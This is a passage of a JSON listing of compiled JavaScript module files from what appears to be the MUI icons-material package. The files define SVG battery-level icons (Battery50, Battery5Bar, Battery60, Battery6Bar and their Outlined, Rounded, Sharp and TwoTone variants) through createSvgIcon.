'Battery50Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v9h10V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 13v9h10v-9H7z\"\n  })]\n}), 'Battery50Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v9h10V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 13v9h10v-9H7z\"\n  })]\n}), 'Battery50Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery50TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V13h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 13v7.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V13H7z\"\n  })]\n}), 'Battery50TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}), 'Battery5Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}), 'Battery5Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}), 'Battery5BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}), 'Battery5BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}), 'Battery5BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}), 'Battery5BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v4h6z\"\n}), 'Battery5BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v4h6z\"\n}), 'Battery5BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v4H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}, \"1\")], 'Battery5BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery5BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v4H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v4h6z\"\n}, \"1\")], 'Battery5BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60Outlined.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60Outlined.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60Rounded.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60Rounded.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1v1H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60Sharp.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v7h10V4z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 11v11h10V11H7z\"\n  })]\n}), 'Battery60Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60Sharp.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 4h-3V2h-4v2H7v7h10V4z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 11v11h10V11H7z\"\n  })]\n}), 'Battery60Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60TwoTone.js",
    "content": "\"use strict\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nvar _interopRequireWildcard = require(\"@babel/runtime/helpers/interopRequireWildcard\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar React = _interopRequireWildcard(require(\"react\"));\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsxs)(React.Fragment, {\n  children: [/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery60TwoTone.mjs",
    "content": "import * as React from 'react';\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx, jsxs as _jsxs } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsxs(React.Fragment, {\n  children: [/*#__PURE__*/_jsx(\"path\", {\n    fillOpacity: \".3\",\n    d: \"M17 5.33C17 4.6 16.4 4 15.67 4H14V2h-4v2H8.33C7.6 4 7 4.6 7 5.33V11h10V5.33z\"\n  }), /*#__PURE__*/_jsx(\"path\", {\n    d: \"M7 11v9.67C7 21.4 7.6 22 8.33 22h7.33c.74 0 1.34-.6 1.34-1.33V11H7z\"\n  })]\n}), 'Battery60TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}), 'Battery6Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}), 'Battery6Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}), 'Battery6BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}), 'Battery6BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}), 'Battery6BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V3c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v1h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}), 'Battery6BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v2h6z\"\n}), 'Battery6BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 4v18H7V4h3V2h4v2zm-2 2H9v2h6z\"\n}), 'Battery6BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9 6h6v4H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}, \"1\")], 'Battery6BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery6BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9 6h6v4H9z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M17 5v16c0 .55-.45 1-1 1H8c-.55 0-1-.45-1-1V5c0-.55.45-1 1-1h2V2h4v2h2c.55 0 1 .45 1 1m-2 1H9v2h6z\"\n}, \"1\")], 'Battery6BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Battery80.js",
